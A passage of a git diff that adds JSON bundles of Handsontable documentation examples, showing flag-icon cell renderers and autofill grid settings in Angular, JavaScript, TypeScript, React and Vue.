instance.setDataAtCell(row, 3, !value);\n });\n\n td.innerText = '';\n td.appendChild(button);\n\n return td;\n};\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly data: Task[] = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Task', 'Assignee', 'Due date', 'Flagged'],\n columns: [\n { data: 'task' },\n { data: 'assignee' },\n { data: 'dueDate', type: 'date', dateFormat: { year: 'numeric', month: '2-digit', day: '2-digit' } },\n { data: 'flagged', renderer: flagRenderer, className: 'htCenter' },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/angular/example1.ts","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.js.json new file mode 100644 index 00000000..46de6503 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst data = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n];\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON = '';\nconst FLAG_EMPTY_ICON = '';\n// The icon itself has no accessible name, so the button carries an\n// `aria-label` that describes what clicking it does.\nconst flagRenderer = (instance, td, row, _col, _prop, value) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute('aria-label', value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`);\n button.addEventListener('click', () => {\n instance.setDataAtCell(row, 3, !value);\n });\n td.innerText = '';\n td.appendChild(button);\n return td;\n};\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data,\n colHeaders: ['Task', 'Assignee', 'Due date', 'Flagged'],\n columns: [\n { data: 'task' },\n { data: 'assignee' },\n { data: 'dueDate', type: 'date', dateFormat: { year: 'numeric', month: '2-digit', day: '2-digit' } },\n { data: 'flagged', renderer: flagRenderer, className: 'htCenter' },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/javascript/example1.js","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.ts.json new file mode 100644 index 00000000..9d6c1de8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Task {\n task: string;\n assignee: string;\n dueDate: string;\n flagged: boolean;\n}\n\nconst data: Task[] = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n];\n\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON =\n '';\nconst FLAG_EMPTY_ICON =\n '';\n\n// The icon itself has no accessible name, so the button carries an\n// `aria-label` that describes what clicking it does.\nconst flagRenderer: BaseRenderer = (instance, td, row, _col, _prop, value) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute(\n 'aria-label',\n value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`\n );\n button.addEventListener('click', () => {\n instance.setDataAtCell(row, 3, !value);\n });\n\n td.innerText = '';\n td.appendChild(button);\n\n return td;\n};\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Task', 'Assignee', 'Due date', 'Flagged'],\n columns: [\n { data: 'task' },\n { data: 'assignee' },\n { data: 'dueDate', type: 'date', dateFormat: { year: 'numeric', month: '2-digit', day: '2-digit' } },\n { data: 'flagged', renderer: flagRenderer, className: 'htCenter' },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/javascript/example1.ts","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__react__example1.tsx.json new file mode 100644 index 00000000..58e57425 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Task {\n task: string;\n assignee: string;\n dueDate: string;\n flagged: boolean;\n}\n\nconst data: Task[] = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n];\n\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON =\n '';\nconst FLAG_EMPTY_ICON =\n '';\n\nconst ExampleComponent = () => {\n // The icon itself has no accessible name, so the button carries an\n // `aria-label` that describes what clicking it does.\n const flagRenderer: BaseRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n ) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute(\n 'aria-label',\n value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`\n );\n button.addEventListener('click', () => {\n instance.setDataAtCell(row, 3, !value);\n });\n\n td.innerText = '';\n td.appendChild(button);\n\n return td;\n };\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/react/example1.tsx","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__vue__example1.vue.json new file mode 100644 index 00000000..4e63147e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__use-icons-in-cells__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/vue/example1.vue","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example1.ts.json new file mode 100644 index 00000000..ad547acb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Autofill values · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-autofill-values',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n readonly data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true, // possible values: true, false, \"horizontal\", \"vertical\",\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/autofill-values/angular/example1.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autofill-values","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example2.ts.json new file mode 100644 index 00000000..77fcfe2a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Autofill values · Autofill in a vertical direction only and creating new rows · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-autofill-values',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n fillHandle: {\n direction: 'vertical',\n autoInsertRow: true,\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/autofill-values/angular/example2.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example2","exampleTitle":"Autofill in a vertical direction only and creating new rows","docPermalink":"/autofill-values","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example3.ts.json new file mode 100644 index 00000000..f352a38f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n 